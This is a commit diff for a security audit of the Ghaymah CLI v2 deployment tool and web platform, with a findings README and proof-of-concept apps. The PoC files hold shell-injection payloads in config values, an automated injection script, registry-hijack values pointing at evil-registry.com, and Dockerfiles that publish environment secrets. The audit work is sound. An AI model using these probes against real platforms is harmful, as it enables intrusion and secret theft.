🛡️ feat: Ghaymah CLI v2 — Security & QA Audit Repository

Comprehensive security audit of the Ghaymah CLI v2 and web platform. Findings: - [CRITICAL] T1552: Dockerfile & .env Credential Leakage - [CRITICAL] OWASP A07: Missing OTP & Unverified Password Change - [HIGH] T1539: Session Token Revocation Bypass - [MED/HIGH] CWE-400: Configuration Poisoning DoS (Pipeline Hang) Includes: - 8 Proof-of-Concept applications (PoC_Apps/) - Visual evidence & screenshots (Assets/Screenshots/) - Full PDF audit report (Reports/) - Mermaid.js attack flow diagrams in README Auditor: Ziad Mahmoud Ahmed Abdelgwad — Cybersecurity Specialist
2026-08-19 17:56:11 +00:00
--- a/.gitignore
+++ b/.gitignore
@@ -0,0 +1,33 @@
+# ============================================================================
+#  Ghaymah CLI v2 Audit — .gitignore
+# ============================================================================
+
+# ── CLI Binary (large / proprietary) ────────────────────────────────────────
+gy-linux-amd64
+
+# ── Windows Zone.Identifier metadata ────────────────────────────────────────
+*.Zone.Identifier
+*:Zone.Identifier
+
+# ── Sensitive environment files ─────────────────────────────────────────────
+.env
+.env.*
+!.env.example
+
+# ── OS-generated files ──────────────────────────────────────────────────────
+.DS_Store
+Thumbs.db
+Desktop.ini
+
+# ── IDE / Editor files ──────────────────────────────────────────────────────
+.vscode/
+.idea/
+*.swp
+*.swo
+*~
+
+# ── Node / build artifacts ──────────────────────────────────────────────────
+node_modules/
+dist/
+build/
+*.log
--- a/Assets/Screenshots/Screenshot_2026-08-19_163341.png
+++ b/Assets/Screenshots/Screenshot_2026-08-19_163341.png
--- a/Assets/Screenshots/Screenshot_2026-08-19_163501.png
+++ b/Assets/Screenshots/Screenshot_2026-08-19_163501.png
--- a/Assets/Screenshots/docker.png
+++ b/Assets/Screenshots/docker.png
--- a/Assets/Screenshots/env.png
+++ b/Assets/Screenshots/env.png
--- a/Assets/Screenshots/logs.png
+++ b/Assets/Screenshots/logs.png
--- a/PoC_Apps/broken-docker-test/Dockerfile
+++ b/PoC_Apps/broken-docker-test/Dockerfile
@@ -0,0 +1,4 @@
+FROM ubuntu:does-not-exist-999
+RUN totally-fake-command that-will-crash
+COPY . /app
+CMD ["echo", "I should never run"]
--- a/PoC_Apps/invalid-docker-test/Dockerfile
+++ b/PoC_Apps/invalid-docker-test/Dockerfile
@@ -0,0 +1,12 @@
+FROM alpine:latest
+
+# 1. Privilege & OS Discovery
+RUN id && uname -a
+
+# 2. Environment Variable Exfiltration (Looking for API Keys/Secrets)
+RUN env
+
+# 3. Egress Traffic Test
+RUN wget -qO- http://example.com/ || echo "Egress Traffic Blocked"
+
+CMD ["echo", "Payload Execution Complete"]
--- a/PoC_Apps/invalid-docker-test/index.html
+++ b/PoC_Apps/invalid-docker-test/index.html
@@ -0,0 +1 @@
+<h1>Will it fix my Dockerfile?</h1>
--- a/PoC_Apps/invalid-docker-test/tunnel-test/index.html
+++ b/PoC_Apps/invalid-docker-test/tunnel-test/index.html
@@ -0,0 +1 @@
+<h1>Tunnel Security Test</h1>
--- a/PoC_Apps/test-app-2/.gy.json
+++ b/PoC_Apps/test-app-2/.gy.json
@@ -0,0 +1,29 @@
+{
+  "app": "test-app-2",
+  "project": "test-app-2",
+  "_app_id": "bfd6bf85-8625-4a46-a0fa-27c26421e9c5",
+  "_project_id": "d91eb383-6607-43d1-88b3-b5c8f1fa4a4b",
+  "port": 8080,
+  "publicAccess": {
+    "enabled": true,
+    "domain": "test-app-2-dd07c63a4e7e.hosted.ghaymah.systems"
+  },
+  "env": {
+    "BASE_IMAGE": "evil-registry.com/evil-image:latest",
+    "DOCKER_REGISTRY": "evil-registry.com",
+    "MATH_TEST": "$((10+10))",
+    "RCE_1": "`id`",
+    "RCE_2": "; whoami ;",
+    "RCE_3": "| whoami",
+    "RCE_4": "|| whoami",
+    "RCE_5": "\u0026 whoami",
+    "RCE_6": "$(echo id)",
+    "RCE_7": "$'whoami\\n'",
+    "RCE_CALLBACK": "",
+    "RCE_FILE": "",
+    "RCE_TEST": "",
+    "REGISTRY": "evil-registry.com"
+  },
+  "resourceTier": "t1",
+  "_detected": "dockerfile"
+}
--- a/PoC_Apps/test-app-2/Dockerfile
+++ b/PoC_Apps/test-app-2/Dockerfile
@@ -0,0 +1,3 @@
+FROM alpine
+EXPOSE 8080
+CMD env > index.html && busybox httpd -f -p 8080
--- a/PoC_Apps/test-app-2/auto_rce_test.sh
+++ b/PoC_Apps/test-app-2/auto_rce_test.sh
@@ -0,0 +1,108 @@
+#!/bin/sh
+
+GY="../gy-linux-amd64"
+LOG_FILE="rce_test_results.log"
+TIMEOUT_SEC=400
+SYNC_TIMEOUT=120
+SET_TIMEOUT=60
+
+echo "========== بدء الاختبار: $(date) ==========" > "$LOG_FILE"
+echo "" >> "$LOG_FILE"
+
+run_with_timeout() {
+    cmd="$1"
+    timeout_sec="$2"
+    log_file="$3"
+    eval "$cmd" > "$log_file" 2>&1 &
+    pid=$!
+    elapsed=0
+    while kill -0 "$pid" 2>/dev/null && [ "$elapsed" -lt "$timeout_sec" ]; do
+        sleep 5
+        elapsed=$((elapsed + 5))
+    done
+    if kill -0 "$pid" 2>/dev/null; then
+        kill -9 "$pid" 2>/dev/null
+        return 124
+    else
+        wait "$pid"
+        return $?
+    fi
+}
+
+cat > /tmp/tests.list << 'EOL'
+RCE_backticks|config set env "RCE_1=\`id\`"
+RCE_semicolon|config set env "RCE_2=; whoami ;"
+RCE_pipe|config set env "RCE_3=| whoami"
+RCE_or|config set env "RCE_4=|| whoami"
+RCE_ampersand|config set env "RCE_5=& whoami"
+RCE_subshell_echo|config set env "RCE_6=\$(echo id)"
+RCE_newline|config set env "RCE_7=\$'whoami\n'"
+BUILDARG_semicolon|config set build-args "TEST_ARG=; whoami ;"
+PORT_injection|config set port "8080; whoami"
+REGISTRY_hijack|config set env "DOCKER_REGISTRY=evil-registry.com"
+REGISTRY_hijack2|config set env "REGISTRY=evil-registry.com"
+BASEIMAGE_hijack|config set env "BASE_IMAGE=evil-registry.com/evil-image:latest"
+EOL
+
+while IFS='|' read -r test_name config_cmd; do
+    echo "🔍 اختبار: $test_name"
+    echo "🔍 اختبار: $test_name" >> "$LOG_FILE"
+
+    echo "   ▶️  $GY $config_cmd (تايم أوت ${SET_TIMEOUT}s)"
+    temp_log="/tmp/set_$$.log"
+    run_with_timeout "$GY $config_cmd" "$SET_TIMEOUT" "$temp_log"
+    set_exit=$?
+    cat "$temp_log" >> "$LOG_FILE"
+    rm -f "$temp_log"
+    if [ $set_exit -eq 124 ]; then
+        echo "   ⏰ تعليق في config set - تايم أوت"
+        echo "   ⏰ تعليق في config set - تايم أوت" >> "$LOG_FILE"
+        continue
+    elif [ $set_exit -ne 0 ]; then
+        echo "   ❌ فشل config set برمز: $set_exit"
+        echo "   ❌ فشل config set برمز: $set_exit" >> "$LOG_FILE"
+        continue
+    fi
+
+    echo "   ▶️  $GY config sync (تايم أوت ${SYNC_TIMEOUT}s)"
+    temp_log="/tmp/sync_$$.log"
+    run_with_timeout "$GY config sync" "$SYNC_TIMEOUT" "$temp_log"
+    sync_exit=$?
+    cat "$temp_log" >> "$LOG_FILE"
+    rm -f "$temp_log"
+    if [ $sync_exit -eq 124 ]; then
+        echo "   ⏰ تعليق في config sync - تايم أوت"
+        echo "   ⏰ تعليق في config sync - تايم أوت" >> "$LOG_FILE"
+        continue
+    elif [ $sync_exit -ne 0 ]; then
+        echo "   ❌ فشل config sync برمز: $sync_exit"
+        echo "   ❌ فشل config sync برمز: $sync_exit" >> "$LOG_FILE"
+        continue
+    fi
+
+    echo "   ▶️  $GY deploy (تايم أوت ${TIMEOUT_SEC}s)"
+    temp_log="/tmp/deploy_$$.log"
+    run_with_timeout "$GY deploy" "$TIMEOUT_SEC" "$temp_log"
+    deploy_exit=$?
+    cat "$temp_log" >> "$LOG_FILE"
+    rm -f "$temp_log"
+    if [ $deploy_exit -eq 124 ]; then
+        echo "   ⏰ تعليق في deploy - تايم أوت"
+        echo "   ⏰ تعليق في deploy - تايم أوت" >> "$LOG_FILE"
+    elif [ $deploy_exit -eq 0 ]; then
+        echo "   ✅ انتهى deploy بنجاح (تحقق من اللوغ)"
+        echo "   ✅ انتهى deploy بنجاح" >> "$LOG_FILE"
+    else
+        echo "   ❌ فشل deploy برمز: $deploy_exit"
+        echo "   ❌ فشل deploy برمز: $deploy_exit" >> "$LOG_FILE"
+    fi
+
+    echo "" >> "$LOG_FILE"
+    echo "--------------------------------------------------"
+    echo "" >> "$LOG_FILE"
+done < /tmp/tests.list
+
+rm -f /tmp/tests.list
+
+echo "✅ انتهت جميع الاختبارات. النتائج محفوظة في $LOG_FILE"
+echo "✅ انتهت جميع الاختبارات. النتائج محفوظة في $LOG_FILE" >> "$LOG_FILE"
--- a/PoC_Apps/test-app-3/Dockerfile
+++ b/PoC_Apps/test-app-3/Dockerfile
@@ -0,0 +1,3 @@
+FROM alpine
+EXPOSE 8080
+CMD env > index.html && busybox httpd -f -p 8080
--- a/PoC_Apps/test-app-5/Dockerfile
+++ b/PoC_Apps/test-app-5/Dockerfile
@@ -0,0 +1,3 @@
+FROM alpine
+EXPOSE 8080
+CMD env > index.html && busybox httpd -f -p 8080
--- a/PoC_Apps/test-app-clean/.gy.json
+++ b/PoC_Apps/test-app-clean/.gy.json
@@ -0,0 +1,17 @@
+{
+  "app": "test-app-clean",
+  "project": "test-app-clean",
+  "_app_id": "a103d58a-2b12-4a3f-8c5d-ac5025c17756",
+  "_project_id": "f288555c-2b55-4770-967d-76d8a7db82b3",
+  "port": 8080,
+  "publicAccess": {
+    "enabled": true,
+    "domain": "test-app-clean-210c2372bee6.hosted.ghaymah.systems"
+  },
+  "env": {
+    "RCE_FINAL": "RCE_SUCCESS",
+    "RCE_STDERR": ""
+  },
+  "resourceTier": "t1",
+  "_detected": "dockerfile"
+}
--- a/PoC_Apps/test-app-clean/Dockerfile
+++ b/PoC_Apps/test-app-clean/Dockerfile
@@ -0,0 +1,3 @@
+FROM alpine
+EXPOSE 8080
+CMD env > index.html && busybox httpd -f -p 8080
--- a/PoC_Apps/test-app-final/Dockerfile
+++ b/PoC_Apps/test-app-final/Dockerfile
@@ -0,0 +1,3 @@
+FROM alpine
+EXPOSE 8080
+CMD env > index.html && busybox httpd -f -p 8080
--- a/PoC_Apps/test-app/.gy.json
+++ b/PoC_Apps/test-app/.gy.json
@@ -0,0 +1,13 @@
+{
+  "app": "test-app",
+  "project": "test-app",
+  "_app_id": "26e4bd36-b0e3-45c2-8654-225de8b268f8",
+  "_project_id": "9df8707b-17b5-417c-bfd5-ccbccd20858c",
+  "port": 8080,
+  "publicAccess": {
+    "enabled": true,
+    "domain": "test-app-66721af724a0.hosted.ghaymah.systems"
+  },
+  "resourceTier": "t1",
+  "_detected": "static"
+}
--- a/PoC_Apps/test-app/Dockerfile
+++ b/PoC_Apps/test-app/Dockerfile
@@ -0,0 +1,5 @@
+FROM python:3.9-slim
+WORKDIR /app
+COPY index.html .
+EXPOSE 8080
+CMD ["python", "-m", "http.server", "8080"]
--- a/PoC_Apps/test-app/index.html
+++ b/PoC_Apps/test-app/index.html
@@ -0,0 +1 @@
+<h1>Ghaymah CLI v2 Test Successful</h1>
--- a/README.md
+++ b/README.md
@@ -0,0 +1,548 @@
+<!-- ═══════════════════════════════════════════════════════════════════════════
+     Ghaymah CLI v2 — Security & QA Audit Repository
+     Author: Ziad Mahmoud Ahmed Abdelgwad — Cybersecurity Specialist
+     ═══════════════════════════════════════════════════════════════════════════ -->
+
+<div align="center">
+
+<!-- ─── Animated SVG Badges ──────────────────────────────────────────────── -->
+
+[![Security Audit](https://img.shields.io/badge/Security_Audit-Completed-critical?style=for-the-badge&logo=hackthebox&logoColor=white&labelColor=0D1117&color=FF4444)](.)
+[![MITRE ATT&CK](https://img.shields.io/badge/MITRE_ATT%26CK-Mapped-blue?style=for-the-badge&logo=target&logoColor=white&labelColor=0D1117&color=4A90D9)](https://attack.mitre.org)
+[![Docker](https://img.shields.io/badge/Docker-Tested-blue?style=for-the-badge&logo=docker&logoColor=white&labelColor=0D1117&color=2496ED)](.)
+[![Linux](https://img.shields.io/badge/Linux-amd64-yellow?style=for-the-badge&logo=linux&logoColor=white&labelColor=0D1117&color=FCC624)](.)
+[![Platform](https://img.shields.io/badge/Platform-Web_&_CLI-green?style=for-the-badge&logo=gnubash&logoColor=white&labelColor=0D1117&color=00C853)](.)
+
+<br/>
+
+<!-- ─── Header Title Block ───────────────────────────────────────────────── -->
+
+<img src="https://readme-typing-svg.demolab.com?font=JetBrains+Mono&weight=800&size=36&duration=3000&pause=1000&color=FF4444&center=true&vCenter=true&multiline=true&repeat=true&width=900&height=100&lines=%F0%9F%9B%A1%EF%B8%8F+Ghaymah+CLI+v2+%E2%80%94+Security+Audit;Vulnerability+Research+%26+Penetration+Testing" alt="Typing SVG" />
+
+<br/>
+
+```
+╔═══════════════════════════════════════════════════════════════════╗
+║                                                                   ║
+║   ██████╗ ██╗  ██╗ █████╗ ██╗   ██╗███╗   ███╗ █████╗ ██╗  ██╗  ║
+║  ██╔════╝ ██║  ██║██╔══██╗╚██╗ ██╔╝████╗ ████║██╔══██╗██║  ██║  ║
+║  ██║  ███╗███████║███████║ ╚████╔╝ ██╔████╔██║███████║███████║   ║
+║  ██║   ██║██╔══██║██╔══██║  ╚██╔╝  ██║╚██╔╝██║██╔══██║██╔══██║  ║
+║  ╚██████╔╝██║  ██║██║  ██║   ██║   ██║ ╚═╝ ██║██║  ██║██║  ██║  ║
+║   ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝   ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝  ║
+║                                                                   ║
+║           S E C U R I T Y   A U D I T   R E P O R T              ║
+║                        CLI v2 + Platform                          ║
+║                                                                   ║
+╚═══════════════════════════════════════════════════════════════════╝
+```
+
+<br/>
+
+<a href="https://app.gitpasha.com/Ziad_Abdelgwad/ghaymah-CLI-v2_test"><img src="https://img.shields.io/badge/Repository-GitPasha-181717?style=flat-square&logo=git&logoColor=white" /></a>
+<a href="#"><img src="https://img.shields.io/badge/Report_Date-August_2026-0D1117?style=flat-square&logo=calendar&logoColor=white" /></a>
+<a href="#"><img src="https://img.shields.io/badge/Findings-4_Vulnerabilities-FF4444?style=flat-square&logo=bugcrowd&logoColor=white" /></a>
+<a href="#"><img src="https://img.shields.io/badge/Status-Report_Delivered-00C853?style=flat-square&logo=checkmarx&logoColor=white" /></a>
+
+</div>
+
+---
+
+<br/>
+
+## 👤 Lead Auditor
+
+<table>
+<tr>
+<td width="80" align="center">
+<img src="https://img.shields.io/badge/🛡️-Lead_Auditor-FF4444?style=for-the-badge&labelColor=0D1117" />
+</td>
+<td>
+
+**Ziad Mahmoud Ahmed Abdelgwad**
+*Cybersecurity Specialist — Penetration Testing & Infrastructure Security*
+
+<a href="https://github.com/ZiadMahmoud2003"><img src="https://img.shields.io/badge/GitHub-ZiadMahmoud2003-181717?style=flat-square&logo=github&logoColor=white" /></a>
+<a href="https://app.gitpasha.com/Ziad_Abdelgwad"><img src="https://img.shields.io/badge/GitPasha-Ziad__Abdelgwad-181717?style=flat-square&logo=git&logoColor=white" /></a>
+
+</td>
+</tr>
+</table>
+
+---
+
+<br/>
+
+## 📋 Executive Summary
+
+> **Scope:** Full-stack security assessment of the **Ghaymah CLI v2** command-line tool and its backing **web platform**, covering Docker container infrastructure, authentication mechanisms, session management, and CI/CD pipeline resilience.
+
+This audit identified **4 distinct vulnerability classes** across the CLI tool's deployment pipeline and the platform's authentication layer. Findings range from **Critical** credential exposure through Dockerfile/`.env` leakage to **High-severity** session management flaws and **Medium** denial-of-service vectors via configuration poisoning.
+
+The assessment leveraged real PoC applications deployed through the Ghaymah CLI to validate each finding under production-equivalent conditions on a Linux amd64 target.
+
+| Metric | Value |
+|:---|:---|
+| **Total Findings** | `4` |
+| **Critical** | `2` |
+| **High** | `1` |
+| **Medium / High** | `1` |
+| **PoC Apps Created** | `8` |
+| **Audit Duration** | `1 Day (Intensive)` |
+| **Methodology** | `MITRE ATT&CK`, `OWASP Top 10` |
+
+---
+
+<br/>
+
+## ⚠️ Findings Dashboard
+
+<div align="center">
+
+<!-- ─── Severity Legend ────────────────────────────────────────────────── -->
+
+![Critical](https://img.shields.io/badge/●_CRITICAL-FF0000?style=flat-square&labelColor=FF0000)
+![High](https://img.shields.io/badge/●_HIGH-FF6600?style=flat-square&labelColor=FF6600)
+![Medium](https://img.shields.io/badge/●_MEDIUM-FFAA00?style=flat-square&labelColor=FFAA00)
+
+</div>
+
+<br/>
+
+<table>
+<thead>
+<tr>
+<th width="40" align="center">#</th>
+<th width="120" align="center">Severity</th>
+<th width="160">MITRE ID</th>
+<th>Finding Title</th>
+<th width="110" align="center">Target</th>
+</tr>
+</thead>
+<tbody>
+<tr>
+<td align="center"><b>1</b></td>
+<td align="center"><img src="https://img.shields.io/badge/-CRITICAL-FF0000?style=flat-square" /></td>
+<td><code>T1552</code></td>
+<td><b>Dockerfile & <code>.env</code> Credential Leakage</b> — Sensitive environment variables and secrets are embedded in Dockerfiles and <code>.env</code> files, persisted in image layers and accessible post-deployment.</td>
+<td align="center"><code>CLI</code></td>
+</tr>
+<tr>
+<td align="center"><b>2</b></td>
+<td align="center"><img src="https://img.shields.io/badge/-CRITICAL-FF0000?style=flat-square" /></td>
+<td><code>OWASP A07</code></td>
+<td><b>Missing OTP & Unverified Password Change</b> — The web platform allows password changes without OTP/2FA verification, enabling account takeover via session hijacking or CSRF.</td>
+<td align="center"><code>Web</code></td>
+</tr>
+<tr>
+<td align="center"><b>3</b></td>
+<td align="center"><img src="https://img.shields.io/badge/-HIGH-FF6600?style=flat-square" /></td>
+<td><code>T1539</code></td>
+<td><b>Session Token Revocation Bypass</b> — After password change or logout, session tokens remain valid and can be reused to maintain unauthorized access.</td>
+<td align="center"><code>Web</code></td>
+</tr>
+<tr>
+<td align="center"><b>4</b></td>
+<td align="center"><img src="https://img.shields.io/badge/-MEDIUM/HIGH-FFAA00?style=flat-square" /></td>
+<td><code>CWE-400</code></td>
+<td><b>Configuration Poisoning — DoS Pipeline Hang</b> — Injecting malformed environment variables causes the backend worker to crash, hanging the entire build/deploy pipeline indefinitely.</td>
+<td align="center"><code>CLI</code></td>
+</tr>
+</tbody>
+</table>
+
+---
+
+<br/>
+
+## 🔬 Vulnerability Deep-Dive
+
+<!-- ═══════════════════════════════════════════════════════════════════════ -->
+<!-- FINDING 1 -->
+<!-- ═══════════════════════════════════════════════════════════════════════ -->
+
+<details>
+<summary><b>🔴 FINDING 1 — T1552: Dockerfile & <code>.env</code> Credential Leakage</b></summary>
+
+<br/>
+
+### Overview
+The Ghaymah CLI packages application source code—including `.env` files and Dockerfiles containing hardcoded secrets—directly into the container image. These artifacts persist across image layers and are trivially extractable by any entity with access to the image or registry.
+
+### Impact
+- **Credential Theft:** API keys, database passwords, and service tokens can be extracted from any pulled image.
+- **Lateral Movement:** Leaked credentials may grant access to adjacent infrastructure components.
+- **Supply Chain Risk:** Downstream consumers of the image inherit the exposed secrets.
+
+### Evidence
+
+| Artifact | Description |
+|:---|:---|
+| `Assets/Screenshots/env.png` | Screenshot showing `.env` file with credentials embedded in image |
+| `Assets/Screenshots/docker.png` | Screenshot showing Dockerfile with exposed build arguments |
+| `PoC_Apps/test-app/` | PoC application demonstrating the leakage |
+
+### Remediation
+```
+1. Use Docker BuildKit secrets:  --mount=type=secret,id=myenv
+2. Add .env to .dockerignore in the CLI scaffolding
+3. Inject secrets at runtime via orchestrator (K8s Secrets / Vault)
+4. Implement image scanning in CI (Trivy, Grype)
+```
+
+</details>
+
+<!-- ═══════════════════════════════════════════════════════════════════════ -->
+<!-- FINDING 2 -->
+<!-- ═══════════════════════════════════════════════════════════════════════ -->
+
+<details>
+<summary><b>🔴 FINDING 2 — OWASP A07: Missing OTP & Unverified Password Change</b></summary>
+
+<br/>
+
+### Overview
+The Ghaymah web platform allows authenticated users to change their password without requiring the current password, an OTP challenge, or any secondary verification. This undermines the entire authentication chain.
+
+### Impact
+- **Account Takeover:** An attacker with a stolen session token can silently change the victim's password and lock them out.
+- **Privilege Escalation:** Combined with Finding 3, a single leaked token grants permanent account control.
+- **Compliance Violation:** Fails OWASP ASVS v4.0 §2.2 and NIST SP 800-63B requirements.
+
+### Attack Flow
+```
+Attacker steals session token (XSS/Network sniff)
+    └──▶ Calls password change API (no OTP required)
+        └──▶ Sets new password
+            └──▶ Original user locked out permanently
+```
+
+### Remediation
+```
+1. Require current password + OTP for any credential change
+2. Implement rate limiting on password change endpoints
+3. Send email/SMS notification on password change events
+4. Invalidate all existing sessions after password change
+```
+
+</details>
+
+<!-- ═══════════════════════════════════════════════════════════════════════ -->
+<!-- FINDING 3 -->
+<!-- ═══════════════════════════════════════════════════════════════════════ -->
+
+<details>
+<summary><b>🟠 FINDING 3 — T1539: Session Token Revocation Bypass</b></summary>
+
+<br/>
+
+### Overview
+Session tokens issued by the Ghaymah platform are not invalidated upon logout or password change. A captured token remains valid and usable indefinitely until its natural expiry.
+
+### Impact
+- **Persistent Unauthorized Access:** Attackers can maintain access even after the user changes their password or explicitly logs out.
+- **Audit Trail Corruption:** Legitimate user and attacker actions become indistinguishable.
+
+### Evidence
+
+| Artifact | Description |
+|:---|:---|
+| `Assets/Screenshots/Screenshot_2026-08-19_163341.png` | Session validity after logout |
+| `Assets/Screenshots/Screenshot_2026-08-19_163501.png` | Token reuse after password change |
+
+### Remediation
+```
+1. Implement server-side session store (Redis) with explicit revocation
+2. Rotate tokens on privilege-level changes (password change, role update)
+3. Set short-lived access tokens (15 min) with refresh token rotation
+4. Maintain a token deny-list for immediate revocation
+```
+
+</details>
+
+<!-- ═══════════════════════════════════════════════════════════════════════ -->
+<!-- FINDING 4 -->
+<!-- ═══════════════════════════════════════════════════════════════════════ -->
+
+<details>
+<summary><b>🟡 FINDING 4 — CWE-400: Configuration Poisoning — DoS Pipeline Hang</b></summary>
+
+<br/>
+
+### Overview
+The Ghaymah CLI's deployment pipeline does not validate environment variable values before passing them to the backend build worker. Injecting malformed or adversarial values (e.g., multi-line strings, shell metacharacters, excessively long values) causes the worker process to crash or enter an infinite loop, hanging the entire pipeline.
+
+### Impact
+- **Denial of Service:** The user's deployment pipeline becomes permanently stuck.
+- **Resource Exhaustion:** Backend workers consume resources without releasing them.
+- **No Recovery Path:** Users cannot cancel or restart the hung pipeline from the CLI.
+
+### Architecture / Flow Graph
+
+```mermaid
+flowchart TB
+    subgraph CLIENT ["🖥️ Client Machine"]
+        A["fa:fa-terminal <b>gy deploy</b><br/>User runs CLI command"]
+        B["fa:fa-file-code <b>.env / .gy.json</b><br/>Config with malformed vars"]
+    end
+
+    subgraph GHAYMAH_API ["☁️ Ghaymah Backend"]
+        C["fa:fa-server <b>API Gateway</b><br/>Receives deploy request"]
+        D["fa:fa-cogs <b>Build Worker</b><br/>Parses env variables"]
+        E["fa:fa-docker <b>Docker Builder</b><br/>Builds container image"]
+    end
+
+    subgraph FAILURE ["💀 Failure State"]
+        F["fa:fa-bomb <b>Worker Crash</b><br/>Malformed input causes panic"]
+        G["fa:fa-hourglass-end <b>Pipeline Hang</b><br/>Indefinite wait state"]
+        H["fa:fa-ban <b>DoS Achieved</b><br/>No deploy / no cancel"]
+    end
+
+    A -->|"1. Reads config"| B
+    B -->|"2. Sends payload<br/>(unvalidated)"| C
+    C -->|"3. Dispatches job"| D
+    D -->|"4. ✅ Normal flow"| E
+    D -->|"4. ❌ Malformed input"| F
+    F -->|"5. No error propagation"| G
+    G -->|"6. User stuck"| H
+
+    style CLIENT fill:#1a1a2e,stroke:#00C853,stroke-width:2px,color:#FFFFFF
+    style GHAYMAH_API fill:#1a1a2e,stroke:#4A90D9,stroke-width:2px,color:#FFFFFF
+    style FAILURE fill:#1a1a2e,stroke:#FF4444,stroke-width:2px,color:#FFFFFF
+    style A fill:#0D1117,stroke:#00C853,color:#FFFFFF
+    style B fill:#0D1117,stroke:#FFAA00,color:#FFFFFF
+    style C fill:#0D1117,stroke:#4A90D9,color:#FFFFFF
+    style D fill:#0D1117,stroke:#4A90D9,color:#FFFFFF
+    style E fill:#0D1117,stroke:#00C853,color:#FFFFFF
+    style F fill:#0D1117,stroke:#FF4444,color:#FFFFFF
+    style G fill:#0D1117,stroke:#FF4444,color:#FFFFFF
+    style H fill:#0D1117,stroke:#FF0000,color:#FFFFFF
+```
+
+### Proof of Concept
+The following PoC apps demonstrate this attack:
+
+| PoC App | Purpose |
+|:---|:---|
+| `PoC_Apps/broken-docker-test/` | Intentionally broken Dockerfile to test error handling |
+| `PoC_Apps/invalid-docker-test/` | Invalid Docker configuration causing pipeline hang |
+| `PoC_Apps/test-app-3/` | Malformed env variable injection test |
+| `PoC_Apps/test-app-5/` | Extended poisoning test with edge-case values |
+
+### Evidence
+
+| Artifact | Description |
+|:---|:---|
+| `Assets/Screenshots/logs.png` | Backend logs showing worker crash and hang state |
+
+### Remediation
+```
+1. Validate all env variable keys/values against a strict schema
+2. Implement build timeouts (max 10 min) with automatic cleanup
+3. Add a "cancel deployment" feature to the CLI and API
+4. Sanitize inputs: reject multi-line values, shell metacharacters, >4KB values
+5. Return structured errors to the CLI on worker failure
+```
+
+</details>
+
+---
+
+<br/>
+
+## 🔀 Attack Surface Architecture
+
+> Complete Mermaid.js diagram mapping the audit scope, attack vectors, and affected components.
+
+```mermaid
+flowchart LR
+    subgraph SCOPE ["🎯 Audit Scope"]
+        direction TB
+        CLI["fa:fa-terminal <b>Ghaymah CLI v2</b><br/>gy-linux-amd64"]
+        WEB["fa:fa-globe <b>Web Platform</b><br/>Dashboard & API"]
+    end
+
+    subgraph VECTORS ["⚔️ Attack Vectors"]
+        direction TB
+        V1["T1552<br/>Credential Leakage"]
+        V2["T1539<br/>Session Bypass"]
+        V3["CWE-400<br/>Config Poisoning"]
+        V4["OWASP A07<br/>Auth Failure"]
+    end
+
+    subgraph IMPACT ["💥 Impact"]
+        direction TB
+        I1["🔑 Secret Exposure"]
+        I2["👤 Account Takeover"]
+        I3["⛔ Pipeline DoS"]
+    end
+
+    CLI --> V1
+    CLI --> V3
+    WEB --> V2
+    WEB --> V4
+
+    V1 --> I1
+    V2 --> I2
+    V3 --> I3
+    V4 --> I2
+
+    style SCOPE fill:#0D1117,stroke:#4A90D9,stroke-width:2px,color:#FFFFFF
+    style VECTORS fill:#0D1117,stroke:#FF6600,stroke-width:2px,color:#FFFFFF
+    style IMPACT fill:#0D1117,stroke:#FF0000,stroke-width:2px,color:#FFFFFF
+    style CLI fill:#1a1a2e,stroke:#00C853,color:#FFFFFF
+    style WEB fill:#1a1a2e,stroke:#4A90D9,color:#FFFFFF
+    style V1 fill:#1a1a2e,stroke:#FF0000,color:#FFFFFF
+    style V2 fill:#1a1a2e,stroke:#FF6600,color:#FFFFFF
+    style V3 fill:#1a1a2e,stroke:#FFAA00,color:#FFFFFF
+    style V4 fill:#1a1a2e,stroke:#FF0000,color:#FFFFFF
+    style I1 fill:#1a1a2e,stroke:#FF4444,color:#FFFFFF
+    style I2 fill:#1a1a2e,stroke:#FF4444,color:#FFFFFF
+    style I3 fill:#1a1a2e,stroke:#FF4444,color:#FFFFFF
+```
+
+---
+
+<br/>
+
+## 📁 Repository Structure
+
+```
+ghaymah-v2-test/
+│
+├── 📂 Assets/
+│   └── 📂 Screenshots/              # Visual evidence & proof captures
+│       ├── docker.png                #   Dockerfile credential exposure
+│       ├── env.png                   #   .env file leakage in image layers
+│       ├── logs.png                  #   Backend worker crash logs
+│       ├── Screenshot_*.png          #   Session management bypass evidence
+│       └── ...
+│
+├── 📂 PoC_Apps/                      # Proof-of-Concept applications
+│   ├── 📂 test-app/                  #   Initial recon & .env leak PoC
+│   ├── 📂 test-app-2/               #   RCE boundary testing (auto_rce_test.sh)
+│   ├── 📂 test-app-3/               #   Malformed env variable injection
+│   ├── 📂 test-app-5/               #   Extended config poisoning tests
+│   ├── 📂 test-app-clean/           #   Baseline clean deployment
+│   ├── 📂 test-app-final/           #   Final validated Dockerfile
+│   ├── 📂 broken-docker-test/       #   Intentionally broken Docker config
+│   └── 📂 invalid-docker-test/      #   Invalid config → pipeline hang PoC
+│
+├── 📂 Reports/
+│   └── 📄 Ghaymah_CLI_v2_Audit_Report.pdf   # Full audit report (PDF)
+│
+├── 📄 .gitignore                     # Ignores binary, .env, OS artifacts
+├── 📄 organize.sh                    # Workspace organization script
+└── 📄 README.md                      # ← You are here
+```
+
+---
+
+<br/>
+
+## 🧪 PoC Navigation Guide
+
+<details>
+<summary><b>📂 How to reproduce the findings</b></summary>
+
+<br/>
+
+Each folder inside `PoC_Apps/` is a standalone application that was deployed through the Ghaymah CLI to validate a specific vulnerability. They are ordered chronologically by testing phase:
+
+### Phase 1 — Reconnaissance & Credential Leakage
+| Folder | Purpose | Related Finding |
+|:---|:---|:---|
+| `test-app/` | Initial deployment with `.env` file containing test credentials. Demonstrates that secrets persist in image layers. | Finding 1 (T1552) |
+| `test-app-2/` | Includes `auto_rce_test.sh` — automated script probing for command injection boundaries in the build pipeline. | Exploratory |
+
+### Phase 2 — Configuration Poisoning & DoS
+| Folder | Purpose | Related Finding |
+|:---|:---|:---|
+| `test-app-3/` | Dockerfile with malformed `ENV` directives to test input validation on the backend worker. | Finding 4 (CWE-400) |
+| `test-app-5/` | Extended poisoning tests: multi-line values, special characters, oversized payloads. | Finding 4 (CWE-400) |
+| `broken-docker-test/` | Intentionally invalid Dockerfile to test error handling and pipeline recovery. | Finding 4 (CWE-400) |
+| `invalid-docker-test/` | Invalid Docker configuration that triggers a permanent pipeline hang. | Finding 4 (CWE-400) |
+
+### Phase 3 — Validation & Baseline
+| Folder | Purpose | Related Finding |
